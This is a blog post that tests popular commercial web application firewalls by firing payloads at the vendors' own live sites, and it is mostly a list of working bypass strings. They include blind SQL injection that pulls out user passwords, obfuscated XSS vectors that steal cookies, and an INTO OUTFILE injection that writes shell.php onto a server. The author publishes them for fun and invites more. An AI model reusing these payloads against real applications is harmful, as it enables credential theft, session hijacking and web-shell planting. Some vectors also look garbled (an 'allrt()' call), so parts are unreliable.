Bypasses for the most popular WAFs

nzt-48.org/bypasses-for-the-most-popular-wafs

Bypasses for the most popular WAFs

In Black Hat 2009 I had the honor of personally meeting @sirdarckcat (Eduardo Vela, leader of Google Project Zero) who gave a presentation titled "Our favorite XSS filters and how to attack them". In his presentation he managed to bypass every single popular Web Application Firewall that was in the market at that time and he said it was a piece of cake.

My conclusion of his talk was that all Web Application Firewalls (WAFs) were practically useless at that time due to the tremendous ease in which they can be bypassed.

Now, more than ten years later, I decided to evaluate the security of many popular WAFs to see their evolution and how robust they've become over time. The conclusion is that most of them are still extremely vulnerable to very lethal attacks. They are very easy to bypass so the degree of protection they offer is very low; I broke each WAF in around 1 minute.

I decided to publish the bypasses because it is actually funny how bad these filters are.

The WAFs that I tested are:

- Amazon Web Services WAF
- Cisco Secure WAF
- Cloudflare Web Application Firewall
- Citrix Netscaler
- F5 BIG-IP Advanced WAF
- Fortinet's Fortiweb WAF
- Akamai Web Application Firewall
- Sophos Firewall
- Incapsula Imperva
- Broadcom
- Radware

Click on more to see the bypasses:

Cisco Secure WAF

This WAF was the most difficult one to bypass, so probably this is the most interesting bypass in the blog post. I'll explain step by step what I did to bypass it and for the rest of the WAFs I'll just show the bypasses with a very brief explanation of how they work, as you we'll be able to understand them by the sole explanation of this bypass.

Test-bed: https://www.cisco.com/?xss=%3Cscript%3Ealert()%3C/script%3E

Testing phase:
1 or 1=1
1' or '1'='1
BLOCKED!

BYPASS:
1 or 1
1 or true
1' or '1

The SQL injection bypass was somehow interesting because the WAF didn't allow the use of the `WHERE` clause. It also blocked all occurrences of `LIMIT` and `group_concat()`.

-1 UNION SELECT password from users WHERE id=1
BLOCKED!

UNION keyword is being filtered so I tried a blind injection instead:
1 and (select password from users)
BLOCKED!

The keywords SELECT, FROM and USERS are being blocked, so I proceeded to add new line characters before these keywords and they weren't blocked anymore:
1 and (%0a select password %0a from %23 this comment is necessary %0a users)
BYPASS!

The bypass however is not functional because it lacks the mid() selection and the WHERE clause to return only one specific character and one specific row. I tried to add those components to the injection:
1 and (%0a select mid(password,1,1) %0a from %23 blabla %0a users)='a'
BLOCKED!

Since mid() is being blocked as well then I used the REGEXP blind injection technique:
1 and (%0a select password %0a from %23 blabla %0a users where REGEXP '^a')
BLOCKED!

The REGEXP keyword is not being blocked but WHERE is. I figured out a way to avoid using the WHERE clause by using CASE WHEN.
1 and case when (%0a select password %0a from %23 blabla %0a users) REGEXP '^a' then 1 else 0 end
BYPASS!

Now I just needed to make the injection return only one row, the LIMIT keyword is being blocked so the only way I figured out to avoid this is by concatenating all the passwords in one single row by using group_concat(). However group_concat() is also being blocked so I used the new MySQL function json_arrayagg() and this bypassed the WAF. Now any information can be extracted for the information.
1 and case when (%0a select json_arrayagg(password) %0a from %23 blabla %0a users) REGEXP '^a' then 1 else 0 end
BYPASS!

XSS:
<a/href="jav%09ascr%09ipt:window['\a\l\ert']()">Click me!
BYPASS!

Cloudflare Web Application Firewall

As far as I know, Cloudflare's WAF has many configuration profiles. I would assume that the WAF that I tested had a very low and lax configuration profile, the bypasses are very simple.

Test-bed: https://www.cloudflare.com/application-services/products/waf/?a=<script>alert()</script>

Testing phase:
1 or 1=1
1' or '1'='1
BLOCKED!

BYPASS:
1 or 1
1' or '1

This WAF blocks all occurrences of 'UNION SELECT' but if you don't use UNION as with a blind injection you can bypass the filter:

BYPASS:
1 and (select mid(password,1,1) from users where id=1)='a'

The following is a self-executing XSS vector using many padding 0's to bypass the filter:

><img/onerror="javascript:alert(1%26%23x29;" src=x>
BLOCKED!

><img/onerror="javascript:alert(1%26%23x00000029;" src=x>
BLOCKED!

We add one more zero to the HTML entity and we get a BYPASS :
><img/onerror="javascript:alert(1%26%23x000000029;" src=x>

Another self-executing BYPASS through iframes:
"><iframe/src="javascript:alert(1%26%23x00000000000000000000000000029;"></iframe>

Citrix Netscaler

Test-bed: https://www.citrix.com/?x=1%20union%20select%201,2,3,4

Just like the Cisco bypass:
1 and case when (select json_arrayagg(password) %23 a %0A from %23 aaaaaaaaaaaaaaaaaaaaa %0A users) regexp '^[a-n]' then 1 else 0 end
BYPASS !

F5 BIG-IP Advanced WAF

Test-bed: https://www.f5.com/products/big-ip-services/advanced-waf?a=<script>alert()</script>

UNION SELECT is being blocked so we avoid its use through a blind injection:
1' and (select mid(password,1,1) from users where id=1)
BLOCKED!

mid() is being block so we use the REGEXP technique instead:
1' and (select 1 from users where id=1 and password REGEXP '^[a-n]')
BLOCKED!

Leave no space between REGEXP and the string to get a BYPASS :
1' and (select 1 from users where id=1 and password REGEXP'^[a-n]')

Fortinet's Fortiweb WAF

Test-bed: https://www.fortinet.com/products/web-application-firewall/fortiweb?a=1 or 1=1

Testing phase:
1 and 1=1
1' and '1'='1
BLOCKED!

BYPASS:
1 and 1
1' and '1

Try blind injection again since UNION SELECT and MID() are being blocked. FROM is blocked but conditional comment does a bypass. Using -- as a separator between SELECT successfully yields a bypass.
BYPASS :
1 and (select--1/*!44444from*/users where id=1 and password REGEXP '^[a-n]')

Akamai Web Application Firewall

Test-bed: https://www.akamai.com/?x=%3Cscript%3Ealert()%3C/script%3E

Testing phase:
1 or 1=1
1' or '1'='1
BLOCKED!

BYPASS:
1 or 1
1' or '1

UNION SELECT and MID() are blocked, bypass with REGEXP blind injection.
BYPASS:
1 and (/*!select*/1/*!from*/users where password REGEXP '^[a-z]')=1

<a> tag XSS:
BYPASS:
<a/href='ja%0d%0avascr%0di%0apt:window['axlxexrxt'.replace(/x/,'')]()">CLICK ME

Sophos Firewall

Test-bed: https://www.sophos.com/en-us/products/next-gen-firewall?x=<script>alert()</script>

Use select--1 from users. -- acts as a separator which bypasses the filter.
BYPASS:
1' and (select--1 /*!from*/users where id=1 and password regexp'^[a-n]')

XSS vector:
<a/href='jav%09%0dascri%09%0dpt%26%23x3a;alert%26%23x28;%26%23x29;'>CLICK ME
BLOCKED!

BYPASS:
<a/href='jav%09%0dascri%09%0dpt%26%23x0000000000000000000000000000003a;alert%26%23x28;%26%23x29;'>CLICK ME

Incapsula

Test-bed: https://www.imperva.com/?x=%3Cscript%3Ealert()%3C/script%3E

I did not manage to evade their SQL injection rules but I did an attribute injection bypass just with HTML entities.:

<a/href="javascript:alert()">CLICK ME
BLOCKED !

BYPASS:
<a/href="javascript:allrt()">CLICK ME

Broadcom

Test-bed: https://www.broadcom.com/products/cybersecurity/network?id=<script>alert()</script>

I couldn't bypass their rules.

Radware

Test-bed: https://www.radware.com/products/appwall/?a=<script>alert()</script>

FROM is being blocked and I couldn't find a way to bypass it, but I was able to forge a vector for writing files into the server.

' union select 1,2,3,4 into outfile './shell.php
BLOCKED

1' union/*!select*/1,2,3,4 into /*!outfile*/'./shell.php
BLOCKED

BYPASS
1' union/*!select*/1,2,3,4/*!into*//*!outfile*/'./shell.php

XSS inline injection is sort of rare to find but since the WAF is blocking it I decided to bypass it.

alert(document.cookie)
BLOCKED !

window['alXert'.replace(/X/, '')](document.cookie)
BLOCKED!

window['alXert'.replace(/X/, '')](window['document']['cookie'])
BLOCKED!

BYPASS
window['alXert'.replace(/X/, '')](self['document']['cookie'])

There is also a rule against attribute injection but it is very easy to evade with HTML entities and an invalid escape:

breakout"/href="javascript:alert()"
BLOCKED

BYPASS:
breakout"/href="javas%26%23x63;ript:self['alx\ert%'.replace(/x/,'']()"

Amazon Web Services WAF

I tested this bypasses in WafCharm, a product in the AWS marketplace that simplifies the administration of AWS' WAF. I'm not really sure if the rules in WafCharm are ridiculously low because I managed to bypass the filters for both SQL injection and XSS. If you know an application with more strict security rules please let me know in the comments and I'll give it a shot.

Test-bed: https://www.wafcharm.com/en/aws-mp/?x=1%20or%201=1

1' union%23%0aselect 1,2,3,4/*!from*/users%23
BLOCKED!

BYPASS:
1'union%23%0aselect 1,2,3,4/*!44444from*/users%23

XSS:
<img/src=a onerror="alert(document.cookie)"/>
BLOCKED!

BYPASS:
<img/src=a onerror="window['alert'](document.cookie)"/>

Probably the WAF rules are on the lowest level because these rules were too easy to evade. I haven't been able to find another site hosted on AWS to test these bypasses on so I'll surely update this in the future.

Conclusions

It took me around 1 minute to bypass each WAF for SQL injection and some of them are vulnerable to self-executing XSS vectors. I don't think they provide the security protection they are offering and selling.

Congratulations to Broadcom, Imperva and Radaware since their filters are actually good! Let us know in the comments if you can bypass any of these.

mod_security

I tested mod_security and I wasn't able to evade the filter. I would say that I consider their security rules to be safe. mod_security's rules come from the PHPIDS project, now it belongs to OWASP.

I wouldn't recommend any of the WAFs listed in the post, except for mod_security, which in fact is open source and you don't have to pay for it in contrast to the other firewalls.